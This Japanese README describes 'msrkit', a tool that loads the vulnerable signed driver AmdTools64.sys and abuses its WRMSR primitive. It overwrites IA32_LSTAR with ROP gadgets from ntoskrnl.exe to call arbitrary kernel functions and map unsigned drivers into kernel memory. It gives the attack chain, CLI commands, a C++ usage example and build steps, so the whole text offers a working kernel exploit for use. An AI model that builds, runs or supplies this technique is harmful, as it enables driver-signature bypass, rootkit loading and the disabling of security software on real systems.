
ROPチェーンとWRMSRプリミティブを組み合わせてカーネル関数を呼び出し、BYOVD(AmdTools64.sys)を通じて未署名ドライバーをマッピングするというコンセプト
脆弱なドライバ(AmdTools64.sys)の wrmsr プリミティブを介した ROP チェーンによって、カーネル関数を呼び出し、ドライバをマッピングするためのツール。
NtLoadDriver を介して AmdTools64.sys をロードする(シンボリックリンクが利用できない場合は、PnP devnode + GUID ベースのデバイスインターフェースにフォールバックする)0xFFF02804)を通じて IA32_LSTAR を読み取るntoskrnl.exe をスキャンして ROP ガジェット(pop rcx; ret、mov cr4, rcx; ret、wbinvd; ret など)を探すIA32_LSTAR をエントリガジェットで上書きし、FMASK の AC をクリアし、syscall を発行するsysretq を介してユーザーモードに戻るドライバのマッピングも同じ経路をたどる。ExAllocatePoolWithTag を介してカーネルプールを割り当て、準備された PE イメージ(リロケーション適用済み、インポート解決済み、セキュリティクッキーパッチ済み)をコピーし、マッピングされたエントリポイントを呼び出す。
msrkit <driver.sys> call <ExportName> [args...]
msrkit <driver.sys> call_at <address> [args...]
msrkit <driver.sys> map <unsigned.sys> [entry args...]
msrkit <driver.sys> unmap <address>
call -- 名前付きの ntoskrnl エクスポートを解決して呼び出す。引数は整数として解析される(0x プレフィックス付きの16進数)。戻り値を出力する。call_at -- 任意のカーネル仮想アドレスを呼び出す。map -- 署名のないドライバを非ページプールにマッピングし、そのエントリポイントを呼び出す(ExAllocatePoolWithTag)。マッピングされたベースアドレスを出力する。unmap -- 指定されたベースアドレスにある以前にマッピングされたドライバを解放する。#include "msrkit.h"
#pragma comment(lib, "msrkit.lib")
int main()
{
MSRK::INIT(L"AmdTools64.sys");
void* mptr = MSRK::CALL("ExAllocatePool2", 0x40ULL, 0x1000, 'Ruri');
std::cout << "Memory allocate: " << mptr << std::endl;
auto mptr23 = MSRK::MAP("driver.sys", 123, 456);
std::cout << "Driver mapped: " << std::hex << (uintptr_t)mptr23 << "\n";
// raw call
std::vector<uint64_t>args = { 0x40ULL, 1024, 'Tagz' };
void* mptr24 = MSRK::M_FUNCTION::CALL("ExAllocatePool2", args.data(), args.size());
std::cout << "raw memory alloc : " << mptr24 << std::endl;
std::vector<uint64_t>args2 = { 123, 456 };
auto mptr25 = MSRK::M_DRIVERMAP::MAP( "driver.sys", args2.data(), args2.size() );
MSRK::UNMAP(mptr23);
MSRK::CLEANUP();
}
オプションで、既存のドライバハンドルを渡してロードをスキップできる:
MSRK::INIT("AmdTools64.sys", existing_handle);
MSVC(v143+)および MASM(ml64.exe)を備えた Visual Studio が必要。
cmake -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release
出力:build/Release/msrkit.exe(CLI)および msrkit.lib(静的ライブラリ)。
CFG は無効化されている(/guard:cf-)。スタッククッキー(/GS)は有効化されている。